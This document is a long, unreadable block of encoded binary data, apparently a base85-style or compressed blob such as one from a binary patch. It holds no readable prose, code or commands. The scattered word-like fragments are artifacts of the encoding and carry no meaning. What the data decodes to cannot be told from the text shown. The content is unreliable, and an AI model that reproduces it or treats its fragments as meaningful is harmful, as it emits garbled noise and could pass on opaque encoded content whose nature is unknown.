z5Tva_y>MoKcfqhSS36N>LK;c4#5@)G89gwbD@_#)sQ_ki&I+l?na_W^69BL)ebSYY zT$|uzN6>%+mTF-%Ke+)>EqJxvQG>fa-CiQN>(k@B3?qQSdICfMqj=Mq!Fs~SJ{QR3 zMenV#i57RB)@&B0{WtNEVWHfev}sSo8ymbDtq= zKJBOY>eZXPo}O!!=p2fYJr9hE-OnbzeH>?Fc5t;1hQT4JiiwGx*G!3n5Pu)SFG73k%)-TfxQxm)|I6KYd6{I>K2l zCE%3YH>FOpZ}e5!<&`}nC$Gil1PXCBb(p>1)6P9bBi$8I+%m}8m`9Vl%B>=-@6#!A zeL0RdZtqRLCRxN)EK>999%;mD-UnBbsij9Mtot0Fyt(W1Dvaul7_;<7KgFl1+tsFO z<_a^bAsj zaNHr>goxM;MKpg7{~7n?BCN0^mn$P$i?2b(n2AV3IJ6i;Id&AJFG!t(a_kwaFV-C? z(U(fK00B?Uk_i&ohL(O=V$LnFd^S0W2mE`8j~j0!C*m_Me&W%x(N*&}y`J(7FKM zLS6h-6#!66Ox0&)#L{JJ+Av%xjkyn zo_cJ{J$kU6fTM}cni588>K_uVQ@C&p4r(e1O0<&RZ%VXSCBTFTO0;zDafg2=9$sGa zUS6G80>tU$PJ|r^1&p*mnh{nI7clBS0!IDgD=5_QZ5B|cHtvJtjV8U-;iEbUCvjJ94YGf)ndD94`J$Jpo#Zzs zeQzl7Z`j?HrHyey82O7XBPw^?s@E03_T3qf(2`;!m5`(m;@MXrXR)36i^B*rf1e|n zzg|e@?`N3#i{nlPR(d4q70de|QlBT^inJSK{zjaFnZKylV5O(Bz0wn0yKMQ99+c6N zBnt#jYfvxuT!QzK3-VM-f=?w<@KmyLBO<802=Ao|L8l6J#|+Mj@0Pjk#oYy>OyFL+ z%LMPG$3X)o|KVOz-f=G>9R;|T5EyH^6wsjf*uMbxQkPc+P}5}uY8u@s)tg-+44%ca zw@#Bbd|RAC4ZJ~D4A$u7kMd8Fdiq=LvId3Ri$uXC(j->(h#=L2ykH+Jfw2S7lipxp zf3K`y2p6rKXW!V%UKCkWo~VA!btPt4&6yfult}ZF6aB6g+Ynu;vRhso9O+?%Ui=fl zi_f}-TY+0u0ME9*AmGJ+H|Xq3xVEy+0G3F}7@D!(=zd5u#!xOWG-H4xoIh%RZVq^Y zn)D#e*mbch(Qz99^c(U^M4#Xy4F}6gvun8ExCl-d4eTWRf zCO95PhI+R(N{v8JNQ)JUt(*w$!_Vr!*MV<y{dstO~G3OY7I|vb(TnfZ)Zhh%qUbP4j&@K8l0po3LF_m zDN$Hc|Ks2R?2%YuSOpwBq|To-q!{&e^=*~OQ@RP3ePlCD(5q@>n2d>HUi#dZqVbO? z=DwM_tAIMaITK3S2WCP>QE(>2qX}n17m%4y5)YgS)w~gwlF0=#A+3qwSC$rXLf^x| zOh{;^i=R_+y8*w_PWJUd`72~5)CgxnP4XL7o7Cy4OLnkPwTlZ%lIM#|4!AbYL_io=fvqtN)5206%e(%mi?drX?wXffS;w^a6 zZN84S2nqju9UT<@cU?)yyL^l|h?2pW^jMQ{>P-C1>cU!G6N$N3{Ol%sgvi6x4bqH- z9ZUTE>c(&cSC*%~x4&`N%E?BvN34;YY&|3=n;zz5XSc2bN%xGgSR7B1Fl3K7ICT{X zvXtFc138Li(U!3k*4sIX)?*XqitAz91G~1J1G~)4f!#E?g`PqrI2hRZp$B%1i$!LC zr#k-E1G{!Ipy@ta+R5~?gyF466vK}f%bLv~C;JmX?7K=Il7U}lIJh3A;kHIA?|nM; zDjDC%M(8BjyC5x;s*&7y-_E1%aL)c%_=d%<9T`wN|35>!t=dt3`C|SArgrf1KHkPV zjr!eNzJ$gufq|+r7^v!lfhz9bS~yTO;&GG=e7k0UpKfi{ow1|2`r{X!W7B?Zo2_>2 zPXU!#96_075wO`Hr8Y17GK+E)iirR$YcZ+ z8hXz7^$lVk6?GIj(UB)ns(T`36G_ndVq`&&RRWaNGc)ImYzXCUl%E?QMsv;--^4%h z<6C2bvL6FLglQ+8i~xa1M)&6Ofb6G@OGJTev|h;z3cDKecJ0{*|J?Xd zq0fC+G`_EXMD5ByxaIJR03K{ukP%TVPQpL%J^!JEa^Jncln|6=fdNCMb>%WfcLI_~ zAyhSWehENT6ObfQIP>;GN@#WB>-mEJqJ+?{2(dV3q=eo~Oz)a`OA25O7?yUn3#9`UuGlfm~_5vv20}zRO~|1Li^(DkfjVh1yRc@{*@xsVQT* z=@Vw^ql&;QOb3|S@NEjlAO|ZKz$^A6@QR65T@XJC#&uZe?|5WfcOi2YjO*yZwA(1B zm0jbRG1wlB=EC?k=0~v+#`c2G##+z{`wwkY3^$+2wk^3o2vgan%|9) zWB2&yMIj>%jCkq8x`MD+3I94z2-kkQ11!f0B;Tg>TIk7l*cPPc%%{e|_7Awv?~QpJ zBo{$AF!*{ga5w7)AU*BT00)0vTwZ)jb>-pzB!>nfRm5BE9 z9R5qW^Zo&NL;CyR^Ps?QbDDrS@6j5E2b&W*VE95$6N(=N0>f8UDVWgJfC-%>`2=@` zGJ2X2?sbyf%75APwK%5*d0XhM`MMqNr zvbA+9u|LGQpQ^F&LnB(-ZH>CHXNXaylm!W*D0@5%E}(On9NI|Mn9+M1FQ9NBQXfCu zMb<3K?1{%b6Qfg)KtugCe#T&J zU+m)E;>1eZ1wE7dFMVJ2|6paeR(!Fs^Ex=bd>D9oJdE#=Z^&>BAMPYky}4v{C;!a#%HOqWNpvPD$T=YWMziJy3&;{DA|k%yYJII%f2xvHx7a(*^nYtglag9V1ULxhad z^f^Opi?5mgIQs_3e3PkBcxUWz?80bcE1^2*we_TAtcH%fj{=}*uG4aJ#tCxAXXlno zCgqE8XFs#NGoqkKBQC116JX~_3)6h_TAg23{(`5VdR1@UQx&TxPkm)NpOq>l)7>23 z*Xhldq2TRjigK-yujm|q9cJY4^zW*<(@0s*^q1KKUDkE4QA!QG21Tcg>I4X`f4bKy zWJN3eLr^9fPb-{tFF~2m!%hOWqskZQgo4y4B1>orGC%~bcn z*h?-X_VPF3;v%e;f3Fuh__8Y4kozYR^6TMVMfu;zyAOa_ z5EGDh6Cy!ZhGf`5S6@N!Wg%AZWo4G*kks}ph#ky=kR1hj7W8tn3ul5|IHrZjK)P^A zhQ%eYHt+r4ci|yeErdq|!;c9U&E~ji-8Y~MU%yA}hBK{2&70Fjow&5pc*RV;Z7806 zh>a1FKX~ka!s!#x9wZNFdD6q^|@XqA+Wx} zchUtAx`^b>pNYGIGs6Gy;<9yTB`aS9-G(SvBv8aV>NQ;C+;m>JHzQ9}&v*>Oh6{b#a$ zFh}45gvnjc^-PH;^1CXD%RdQtJ|A}t?P4`Pnn7j5IQVT|QqYx*(G%}hHUOdOUSu`9 zJz!{@XF)%bKJU#_0=wDMDDX%^$0cDNNir+q^M}xnq^E4)krasRW>+U(>x<(bJAeLB zF|z`QAln18NllOlvM>8Vh6s$c%B32$0}*5zyi-kNi2i=4RN{6wU6@*7n!HMQQ(2*E z02zt$^K`&c5KL?8oGlPIaS9aD<3p^_-n^L3mEaR&?_AN4@MfU6ouMgpT0i(omXi!3J$eGFC(Om<1ek}aqxgQ zY>-hkpR06R!>>Xj8of^IO3Q^M_K&YtY37Jn-F!of!j^Y6;fK=sI^w`Lp~SkBww=l7 zz4@lHfl9V5=SB%sHoOIvz9;|=#+45SmOfZI(PQ%H(urbVl`if#?)_9QoQSqs;uM>S zg9WVOSj#BTAkKPw4 zSWV|Wr|)faqSzBKR-JWqX7U2+;^yv)jHM?4q1XxCz|<0#P^T_%2J z9_b;9D=)|SgNzpw!w8di?JgkW#fZINj}je~uztA`$aq1et4Ele8-0?_62F=8LZr&x zu56>7*lGkaUd+x&o}-TG;%67_wND7wu!}TiX2o9`C`p-2@T2l1>1w3zBV-`U4A25t8$%_{VUc;~f1y_2)1eVU}KrKdpHB$#6jANdJddNfn29f6kV9&F=b$ zm6iTO=HMe%V-*+Tl>PVV9nd}OF0S_ZBZi1ov;1!c5KLeIK@SEH_;A-}RA5DhwWP=bON!F%iz&_{OK2zoNo2kR2M~$e zE9e2lJTid5-yA?Vb#4zJN@kD&#FUj=L~Xa#r~mx`;t&gKK06)$NhZ%AqFusBMcn8i1Mn^Kz;APIx8;)s^qBvzvNHjvYHQ>8 zk)af&;gU+q5Hf2Zy2+56p#i1TEoEvFLWVRbl?JY)IVlQh9xkPFn}lSzN~B2QqeLP} zl)kmjI-S;T@3nki_c@Q}-rMtAfB*IFwcowZTJO8^*W>=0g5&=C#uVfYcOC|N%D#!n zp7o^n+eFwQu0&(sV`nL;dcCT{UxGK7OacY)pEM`++8m#>Y3jjO^I!q|4yVQdgJFjE zN7}S?x7M#(VBCAd+3ozhQPID$pb&#D|8BI5e>ds}D+YVMnfSL&tLD&&b&_r7y_5b4 ztn|`t7!)(tAjNq`;?wWO(N{k1vYfWRTHSW6LyGM>r*pZw{BK~DU|ZQtkd-_9%*vf% zR-O)b*&W)}M^O`I<=Nm&-^ouKcleabm9-pddfphgq^8~Xjgmtjt-95_>rwH)mv!fP zxh4k!rtvE?25J}7!_HRrr|iIMA(dM@s(GM}`k=THlfOsCMNIi8e5QzL-IU)~I)q+2 zlG;+)H_)x|co+E6bKhr3cQ?>>o!~xEd%UNcf%YV~@p{_h_1z5I$1OGVnB;1(A#~k_UOELWQrS7}FIAE| zrhf=+xHl{2RPm>~UK6yW_Qz^Z8W`ri{C>u$ynxQrhHf_NRyWTy>OQL?`=4UV%c)r# zlyXx#6=&5>PcVNqpt8#TcJP+@a=aPCTixb=NleS!v0%}uE6-#cW@x)bs3rJ~jq`k~ z@*!OQ_rhyw-&}q2Uyi?7(q?c=&QARLY1Jds+BbX-u~F8%P~CjsbC&wxHW}LqN3Oko zWnXzNuc5!l=AC`4(?$(Z`;bsRO#5t0PItHN)$B`W=FR^8QD;_@=(Pf4nJ|Yoaox9R zA-P$OBV#JIjxsN?StTuFJ?|T6TdN)weq>VhnJ>y=a{t+QWO1~0OH^&VuZ_QHgLLQE z>jopr)KWt{Bz$jq`1H5-l4(C6IxXY-WxG`siPI}n0#lDJJCQlw%t~o<%}VL+f7F;9%^p0za`0chT^|56~P@fsykfu=N!0MX11jKwf8;89Z})iZnR$A zyx(qRZAp|`$b+!CbM>zsbb6cfvV?acD=xz3j(J0_S#t#kH!sz)NEz@( zVp)yKfa&u^4q7ktwFn4tcA9-5=Wvp|*x9P?*|F2KgA;=#b}Oy*Oa7+av?XGb)4@jv zy1w_7PI_4|??UIlb=gyHp2*(mezd~+{+vJ3^roG%mS{Cp)tNV{OkKZE)`{!6-Db`H za@|&e(?UnPeO1_<(`0y5Vr$-}MSXMZ$}}fdtdO6j{8lv6DeB?i$WFPmvi1Z;$>VOf z-|dn1nRw;p%cGW;4#}CAAJ46hH@_m?-JBG6A!GC=ZKI7LDvRW^Z+$j6|J>PWTlG#a z_pyJ@3^*|8YtZ-piPQb!-mI)L(c5GDDyv0S;gMWrB#=Z)@mx&#;Q_|<&9MiQ{vr=6hp!G;OF5lUbKt5NyHY1%UrF~n)^gbsnDd%`Pg=) zep6M{<2G)VT@h6=#)=#{S^wG&h0;w<8V25xk2Edj_%t|$-71-*v{14{=Y{bf z@^0Z#F;;^^)}7k_v?EKUzWn{B-Zps;tx{Anr4mN?X_(!sSF6ftalcW-)2;n-tl+wM z=H1rwY8GXa$L4va9(w=msb#~h>u$%k+cZaubX|Jg?fQ7ui_Lqk=-$6=Z-39kX6lyE z>1UrEiB)|1Qa#_!zWVrtp-ooa#d2wTk2~3mY{?y}xoxqtens{Asy#si<;~`_2dP@w zb+7BE|L3PCXS%bVg!Z}~+v{O${hN;ttJXLr>twwDk}n(nVtdX*pVQ|KZ>_I+rQ@+h ztRZTG#k&n@ligR}U*FdJ&a`XYoELX`osrqOxMs|-Tc|*~zuR!7;NAS9Am|JF>cT-9BEwoFV1&Q;R3fS1{;*bI$45 z#8$JtwYe8;b+x1Vm+Kj6Mtn=UXx~0Xb*qd#w`un=kF}DAT^6J}xjC0r zoY)eRI`+xk1x=EDbkpBCxR{&meW8JT-cECk#1flKxCY#XPA;a9;*^<4^F6kpGj7N-9*^ zWF#eu@^}X&LC-HCI}C_UX0T_3IC=yGtngmuPjKg;337-1OQ3<~TARzjN>1?WKY7ML z8^nd~fL~&c&ngdZ13mD^41QDwJ+8&1W_wwc%)9?ssOm@6V2*-r+w0J1L#I2q_HF!wBOM=AI zCGg6w1|R0-wnfOru4;Iwic7w0tQ3EyNW%o`?J^z%?D{0ZD7Zr z@VWSpi~I5U&*QkKveR0Uz2!lArsUjz2qP+|D@ydzknlWeiVJpDQU% zaKESEoT-ZN2GrpEaG!ftvyHbL<_=CjAr}iycs_}1a@Qvz`J`b2|6M4R3YL+lgMOXd z!D>I`(}GjkiO%oLh-sm-eA3Y@eD2xG`&6XLv!zqC<5;RbwJ?AFmCIQy_tN{b4=J^Gy?;Va?ij52hkiDpQy_i z9-l=af)QxpZ@i-iyoB2r3xMAPKFq{nLnwwP`J;c4gzqW*->paZ3Doc>x$;c%k0$Q$ zAF$yE7Yl#5XP+zlHT?$i!=E(F^hT{k@*q4<4E{BIE^YiV3@!XsN|8NXcey8bs*SjD zJNS%0sGdOGZV0e=H=XG@a`L;7#y#W3pOZ{Ja5ngzl zjVpMHr3dkYhonANzj`}-1@wW1SKWuem^(1dDcq0n!c#TfJW z`1Sz_oM}UY#EU#wD`gN1A9N7Ilhm*2pyQ1)4;+Da^-nBw^baGv@CXN&`kwG<(t+9V zyJlsU`e#QlJW0K~;$Z&NlFaFMa#${0F;O8Id{I6Yhw#ELwz034W)tYd8LmF}IKm6RLF7{Z>Lwk(GTi7-xc}k>OZ}1r z3{O&@^qP(rAGAvkF8z5d{I^6tUSC)blS}aRT_W zEcIRI5MEfKhD&`<_=njp{61n`Ed2Tl7@nlwWjS5_eC<7Ay8xQK-fLe%cww0kF7k zdv{D|ggr#rZ!omeFg!`Um?pwY=W^qNk^_xn0bY}J)fS{9JT+73w5Q`EY`3lp1bFzQ z#awfCU&rty^$o}Ac&*4BTloD!CkwB21L3Kef>;h6@3!=UDSS`zl!dRjiQ!4=+nNOU zW^V7l^$tphmEgNs_`pnrr)COSL*)38BTc{;mBy{%PGL1}V|bGKlyEvet+%)zY=Xv4 zVV~SVc;P8KuDDM=L&s+=S2N&V(stg%@Fev=@V#UcIg`N0)k(<_Ks`Hh`eq@#@PHGS z`nY1Go`fIb>hcd<6yR|JX58O;fZ<8%D-DP8rJYK@3Uc!Zr zUvB^MD||X(znJRG#qcEcUE2`;^JH%C>t5xZ^ygHcl!x%b9sOMDKb)iEdu<7ehDl&P z_%OY<$j9&`_2vWR`QDS%cRn+{5DC!iyVZ*Vgct6b=2GurM8|LaE6&uHQ~ll|3{O(; z;)3u^ZrtAMWq%yw0`ON^=4clqJT<=$-cHAlSY)6F@3rq)_-l_bJW2iJ5;|UGkK8br z!m{Jutpwqz`MsLRF#gn%%(*AJCzsoMiBb$tQZJ>9@YTDxy>H9d8_umhp^T3=q^fVQ zq2sUp(d`GX+Al2cEz2=HNquAz9smB0|5{iIwvL5we$K}mQJ+qF!Y`9Pkq8%sA{PE& z1%@Z7-;$5imtN-f{%ZKcO!!p(j)kA_65**&CqWF*Gpn&0`_>pgr8&cu&z!|){a zzg<9h+bP`Ul-AuyhA+DcSoo?>2v5!L-QUyk3hl{d@VT~%geI5%x;tRr4^ZWVgbo{v})!i@wf6l^ZbYggt`n`byya%`UqDDcP@NLv97JmL$ zgs0~Br_a#w%)apW?d0n>3{O&@nMubpyO`tn^WPC3o~-6djtgt)WM<=SoIFQF1a(WN zeJk@gOpzZnW|7>sGdo1%_`aeTp5)8*6gr;S3K_?Ti6J~Z3Crcn_Ch+D+0hp#50(&+ zX}*MhqT`t@XmR}A-WZJjXzU_urxou}QTgCAcB@rGTa^&)5;YvE0*)kL-=k*nk zX};LU(DBTEm^j`}3d56pvAT}%TF<$CVfJps@!zEp9-dF*@+ID2G~aO&nc0I7C&vsB zkZHawpG(Ix`{m(y%Yhi4_LW;Q-=u1G+&l< zBm8KQQ=It*vyB#xpC*gpNxqyPt;C;I5}w%@3dcW|LwM32)khX|GP9czP7ab6kZHbH zc+&CAK0G*n#BdBx^2MP7;bqmiZD)3j!STf-5T3LPVY#R>-*FO|*&YQaPZ=p7(|q}J zEFI76>Vf0y6fr!>m)KxBp4oZ=$DbID@FcRs14QmOi`#K#lLVYRTUkJ+`4Z4b$0sl< z{Nwmm6@(}4r(H2vg+HMr;mjKKIC<9?0huP;)tHWF)>g;y`sxTz+G}Zf5s^g#xgBTL z0LRHS8Uiv+cu#m{0c#w;O%vfs2O%DH(1kN=E#u_z+5$37_-X}J{)CczVO9yo@#Q)Q zPuf7Z%a2ZGR=35;p?U%`O?d2KgttiMo=|3iRva&9fbgWPUpwy5$;_&vIQiB%0huOz zT|FJotb&Q-S4}{8()lX8@G<*jX5liNy!CehnI^p6 zla6N=-NNx|rU*}ZP<$GN$VP44jx)`cyO|YrGQKmeno?hXI7BG@%dm|79dX|J!+ktjmSE~e?2UUHsdpEpx|WKt&dNp z2~P~7C{<000Fb008*^Rt24%O>K>AJSFYS?CFf1V-x44h6NDD?n3*9lazT# zN~~ET^F$P(sf>*1j|`hLON^6u8~j6flI9Nt??Zh+m8*+rDMLA7eERRQ4bP5WX01?A zCAn=29_|Wi00)uTCUq$iF@U(Zy1{2u};s#gQ*T!;>i>g|)~Wdz|dT@~7IAHD+V4 zdioKtKoBQUB7$^?)stjE@tyXlG&T0V=pG^;Kqt>C!pm7`k#n!EGkn3asBO~KcPaUW zm50@u_6@?Yp75wOYYk=l0IgA~{q@~OMNBnU&4cc5mkT@3HHKkQez%f81siC%ME*#B z@Nbb7{+EUyatP;8|B1&*1pt8cpN58>oa_olVk%4w3M!)VPR^Y2nqHRT9RJBVswL@s zB!<#gPW2~vOk+F_W^GA(V`?N|FmTNslPh8&I3xrlX>czjd&|FP#y`}c5lmz|A4A8l4$d(jkj{zF}?`j85r8twcL85D}2k9R$y^45N~R{{_pZLL#7GkxV-@a7bc7t z;1dD}fp5Su20ly}P(Q<*7%_?5F|K~$8+P+?{p%-Beoz#G zKvn&c36L@;P(&9XMS>a$5D=0RECFhC4KOwuD0aP2XdP5cfdna?Gq3=oe1s}$zaA2HxCK|X zDRmK`jpBJu?S409uwJD@UXuKv8t_aYcO-8;rTOanp*IfaMzewPYOaUlFhQmI~kyF z?D9=urm2FtrN@<0fyfjcAzIq@CZlVw#L$%}UVKh}%(AZCH2EPus2vGIsR4#S>s2`7~WT1`)qK zH#2=;wbLwXi%{|EKlsenT@2{Tja^Oce~C^L=%CkVx1KW5+fiA``z5~P+9XSER9*VR zMs>;&Mcng$OLif$epXeR<2ni(Q(2v$nO_-dCi{K4$T55=xqQWhmY zrk@`j6sJzkq3JGc1Fw-umYQCA@WMrb5Td>#*GC7c34pPiif&|;cW0cU^E3Nz9~E<3MxL|Wo;;D%tqMXPU{l*hU+@o*Yw3Y&R~ zU7E;UGQ)rP*L>Ra7KcPCg?^2!%D0uOSSda1?pa*Y!nxt?L&($oiOi zFWTHX4Rmnnk;rzHT%n>w@W!jWCL=`M)7OcK+0_^OC`wAR?Xk+MsndzYx_-&V505>}oOchaQANYzE_~^A zepaXf3Ge-f*VQcmP%Dx!j53uYzn$o&%PsW1%sW4akQvRzO?OZ2KP^cYe z@%QGGVp;v?XV4rhb^~s7LcEu#4g7esxBmVIC9ZtEZQFzAXUXFl)09pgOI3hCo(gqSkp5P&4T? zSfqXEXgp_Qz5!T>Qi-yxRMDlmbQzogIGTbRO%6(BlfZ&W9yTW`wL+6&Ed~d~Gw;?! z3E`klPucMZWks7emhqE`6+vnUa!@Qou)p#Ql8kM_DY6Fe1q!aDFEwW2Dc3+*7uk7S zgN@o^syL8$J%lPb&;lWaMEo+nbtuqa>{2x=$%Hf2zyKfRrl%r{w_>;ef;(4C#i+WL z4jC!MN|uxghcb;h&NR%@ia(`@aGFUKE@)1YP?9lH35X#^kIqgmkE{c`bfDwt7VnI;bTiNRr;tCsZNEys-zgT&s8^4TH5Ux{@N z1-E5uMQS@yaBn2lT%B0slMONAOjHg&U`rNr zn+Lu4%IdVcI66!gc}l4)O*1uXqOw~;G7uZ$?!SykHx0@N51bD-bY9$|MO$l+K%wG+ zw$}LhnBn2z!Gt|*xyvDEw=b)fNT(5U$N6#Y0W0F^l`PekmU4VNy*^==j`#GNB6}R= zeRKVFUPFZK{I~4g`j`t+uJQHFL`#_z0AO;!L7EMC?kMiN+GAY>rZab>Db4p!pIx&s2di%Pn5z9dwQmH zVrTz?(Q19f{N9x{CT)sgc!kKv#&EO9Z^eb~CqDJ+pzy?P@^|z}uL6_;go?BHtU0=& z!8iM-{At|!3`*ZtUqvSM+Z*2Ty?2GiTk2LGsFC#AYD8*wiTwfNU#_R4`vqVV-+&D~ z>rSUjXnPu}RzsmZ26j3L`&P)g;hQIbBq|%N^q5yd`3l9#=aoRmnW7b_lK_Ho?C_*Vw3yZ}# zf!I7Is1#Ww*NG(Kfr9Lq;j=y>k|?-r@o<{)-m@xIqxC%1llgl)oYNWWbIcS)o#rl< zb)FfWo@Y@-6lv0YyY0EV%RjaUdoS%>P37YUY<8RiqX&yI$^Y6?=o(M*D#4&>8 zi2Z~spA*4Yq)ttoJi;2hlvwC);|CRU`F3}c$D!Rp^UZrd&S<>{gEkU1ypm^?&k{0k z9X6}3;p4jJ#})#OFs{nn@Tor1i@i72@Mr<>T1UT}Pb)cR0K}Mb3dPU_>Zd@7k`#0G z+=1fCES#}j;xugtb+=ihYBJ9ghaADe5M*|*C0_(Lw4%RwbzH~Jy?1JhI{Izv zXuHLUKK@TuA#gLEZyhgADZ;fYfd5-$_cAiapH&DMP-1Ninj&!X$AL3E9LeJpyB<)M%@(`*XHi}*Ow zJ-ar|#%_p3!0lFqx_dQJ>8ng8(=&0Ow*rEtnCi!75v($c3g){n}$`sq>Vp})>}!Qu!rbW1qgnn)mf)Y z#xO_E)sXa1c-p;kY+pa9eEjGzsn0&vy57Z`zIF|Abf^2Dp{1y})ZKYj#yj~!lLVH& z)bOyd%U$}S82VGIF`eo=R%hDg`YzXIMaWeykJ|U(Ktn4g;ED|0p%#tjM|3lAMlFCft&v{kf;SbKh zs5!oY1|W!_o9-y-fMJFv8sH!zH7anw0CJLWl+OPjH&arVKOFT>;7{mJ1RFBKU1pRr zX>l$8e7;<*+h4tX#_RiU?}_aQ^{G`#Hz^2kDOHEOhon_cN~?lW%6Mnx`-25M=;<~P zB3i@IGOw%T8A*_PZjeIKV`9E>ql#9XoZt=E5K0zSO0-r1w-?<9+Y@@*cCOk%#Z@iX zv3hz!L$*6NrSKzpJ!olGa8=oA;uS-Z^x9z`73$Ra!cS^4#Ej68OfR9?`OjN!x-;X! z-;OD!nf@_R6Rkh`K$o=;dbimK1%5Qo35ixoLCvfqZOztnuT@U5_7#{UD>c_rkoHk( zEG!yVQY7WXvRkM7tRhvv)dXg&+kvnrxwt?9ITn^G2e#+^jyFp?YK1TNvE9ZM3) zqe5edAK^$Rdn6h-k%XRkLd`mgQjIVBGzJs{O&f#QqIM0P=llL@YA03^AtgM{W+_p( z)ksQOJ~c(Fm-PJ1>Rs)ba2p9dNligd!SJjpYYCl>ma~$oLbt{ly{u%R2832t`-m!B z`sfK5On>J4hY^rBqUqD#&k7Z&SxgUIRLEAfg_xzLBZ?k~8zrWDiVC9Hd_j1GfaZBA zcLC86OF^>{#_Oz>04)t~<+Q7*4t>#}CB^BG&Y0i{S_hBGS8rzb%x!}$qi@XnKr-IA zKMDD^G)FA3@`vZ~7;dl;?mIov?qMNoCC~quHLtM@LVTe(^)Qrd)e*pjm}HpWmxmy9%$ol?ttXHPDY(YFE96!L;F0@r_BG$ zgHMc#sGOLddYZg>nnMqHalINdI3)96C*E6xd-_0Bt_2izS?wZIrUg$H-Y=)?^FJ}d z=#umMghovEhknz>j=|~7&g2*`MF!{FRYSKbxF1S^1DXla-47K;=e@~PmJ?tWE2arm zng{FEsmyyB$$5K9|FABn+QjHoLlwt;hQQ@b9!um*qw3+gG!irJ2(W|T#%i(v0LO)qHAWe{6gT`=flho) z|6YKOrTe!1$&fzz!Ay#8jsa83Vx%W^tb+p_RCHeiU}O=SYK6N@E+2Ky_5?1T?eW#1 zg}!D~>c+S&rU=LT`%`@<{bRfM^rg<9CMFwG-g|oH_jj3nYSrOwH~y77ewgWXS9!xh zOWp79>Q7xUd=HWEV&R`CvlP7HE7>@0MX|0OZZ`1wrQVNX1#!cTyiPnw{3KW7zg9<9 zCqlHBvP`BDJc_hgLwU0;s*}C$Cxn}IeR_z?@@n6@*lNke?pua56yQv#+5b~YxLDn{M>NZp zU(6Bne04pgQn6|N$hRztMe2ZKx&WFK9ShJP*{p|gcEpr#8uP$OCsNMFWl}G>uTrf6 zmwmYkopZbx-61)fQE;BmNV6l+rkOIpfd;(+dm-Xq7_QP7uBG5rrlt-(g6I}5K8vXmb3g7Sl;{5b4fGV=Oaw=3Cw+bHA#r;F66Gulh zAy-zuICkT;rf0Yjb!%Y(*CYq4h+Z3S4%PUh!C2W>AskP@_42ueI z`C-j+9LY&9UGP}!@owkJY|eTjRbwj<@e+YRxEr*jYVyOCjP%{R#0x+8H3}7?OaBl! ztyGo#?`xgkQY)8cZ%d#$?VmIngUVNXNU6J#TPrIJvg-;8%-FZ8_3x1bzsX`*)zByU zB&;|ROI#AkAv>Af6J%@z&{Gydg8yRk`JQ~Z5_t*D)XVn%KQfFcPt*Xc z*mI2c!irEASiMs;LB8bhH&Ll}xZcjC1>Xc_dWTXs7PmC>7S-bDZ-?=~=RY zgyhxYZ`KX`CQbJ3QTa1>iemk88Xz(7n#wD)CyW_rQ=lWCTxSM}t(NmRoV^ES?AV5) zJ#qiP%kHviPYNB~s<%F9au9+EyGO8d`goecyqgO-k}|)VVL=p6Bn3D@$&d@-^Rq>b#U@FP@iuw_Z%if zosugiKA6OmUm2BIO_{#BjJib=V8&nVy&IO&z8nC#mF4ym-opZw9IjfIHArsZ3`*$MY>7Enke5f`wh4I3$EE!zO6c`8Ldtn+tS?(ng z!duW%spE%=KIabB>e(u|kJ2f!0H>b$H_%BMW4RG3-`Ii^CSMLK8fMgYx1ao&WtR8# zo6I`~XS8@?!uc~|Hq+g3DW2PbaC^LebZ!A0b~dDqAR$M(^y39!a%RctA0#1-k{Ae1 z5kYB-QfC)*;^Odmw`qwGE!PA?k<|Ta-fZs50hhw4nXqQpVMtk$Sf&3!sKGn#9ixdN zc+pvXC!oZRpD2b@+@d8WE>qsb*nX_wf4d;)>6e_zopS z;oyYZO&mD0b)hIcv{&FD7%Pv!3-9yt1aufGggX4bIZjxz&-VlHw!PkjqT`M0#$YGL zyQ4sHeADePp6lp`V`=_q_u>@3xxt72hE$R98Mp1}lRd^YkB@~}1rJz$fE4iKj*l&J zyu^00&5-joXX6_`GUc$%-a@#+H2V@RNLitX^!9?$st61QhUfK%M7?KDJOe1>d~z`eEs<0w)2mmN#pt1*_qG7p?&S>hPA%lb<}DJeLb8z3BGv z@=yDJguZ^43is?QhGSkyC%j?Dw_c+{I_H1{B1CULlff}tBA_mV|gaF%xW-c*oj8s z$V}P9&v;-3-J0+bY|LtBOMaZ0$s~f-=jp&MgI#FigtP2(bx968MOepCgWH;c6AZCT zzP;_e`;jnkxaf(Tp06+961?QUiiJaDQ;4<#R#w~28%|)e`>#3NLrgjVs~%j+W!2sD zEQ91=Yp~DLZ)E>1tDIff<*MRmWcP|hGW$xV3z5r`w#hb=c%^N6;)uyl2RhJ>=&ZJ# zTyprnG#hcM-XU+R`PVG2IMl#Q)v4N89v4AvWgc$WRieLf8Ba@t6%AmPTN>AhIc4no zw3xQWDgl%?#Nar94*?#mJ&+)q?Gf*GS~c3*jatjQpPHyzyx0Z1@dND3)Bp;IGYPqW zY4z?e8b!Rw@cM=vzCK{}E8YQbEd|L?Bd@LXdLLP;>~`L4b(W5@&DoUw&}P^0ajeNX zV+Wol&HHF@6C0p|Uv-``PkYAvoy4LkdIiPx}R=F)W$pyi?dIl?6&Cs*a}Q3}L{7GuO@ce?v7<{2=A zEtfGUeEJ)Po0v|U5R3UyTaE~R$wf<#KmjZq{xC43vx+Sj8g|wz16RHJJx18N9j0%vbfa)?_zb# zo3?2Vqf!qB-V&=$mcelsb^38rmKz%=*fU=SXJn&+^~npjJ{Z!HPk!l_6tXMts)l?1 zoq52=hLg6PjuY0xnLbaq{#(YaZdv{MBxs5p03mz2(TbpekPHH!1#epM&KN&@W4iR6 zO8TcG4k*!kzQ)`q99y-A2q06Vz*@%FLZ`hpXvM-q#hL+pDcsl(e)1E1B}89WW5A+A zR8X!}*Pr{SgL^oIvqOyi6C5W`im%WGKD~7+o9W2;k=+-Q24(=;36`4N_|mxERS&T7 zkq(fs=*A9vdx#Yv)4i&3;n;Dw`8avsc}G65=+NFbYebuki|VO-39M*CGmMSJxu@q? z2UI^t9|x!#vY+Js5%!s|;--gZzV8Re11H}e(Ly6jMR6&-Spqceo%y6H)fM@!BQQtR zs3l-u*%0_hfpVyt_bKectY-*V`NnmZv?XDV82a z9fT2m5jG3ulJHzDT_6geX_4^aea*S^G(CA`%Lmu+do-MD}5L8X}@7{?`EHV zInHoQj1!m$6IXZ!+T3qwy0JV53k>&8fGOh6FmA93^>|L|j$7B9J0hiytZanqRJCl4 z96xLp@rl{Ql^4|^Bf<^Z78sX zi8K`xE~V=POLtLrDn};!?sHvOtwz%w>_M1=T#c&o>bxlbsk(e^viX^8|3{B)%b*Mt z9FwOvzL^NWTTm$cQrZ9RX)@UNYx&LDndb_$FReAaW(X10;l>8V>EhE2-LR%iP3;0; 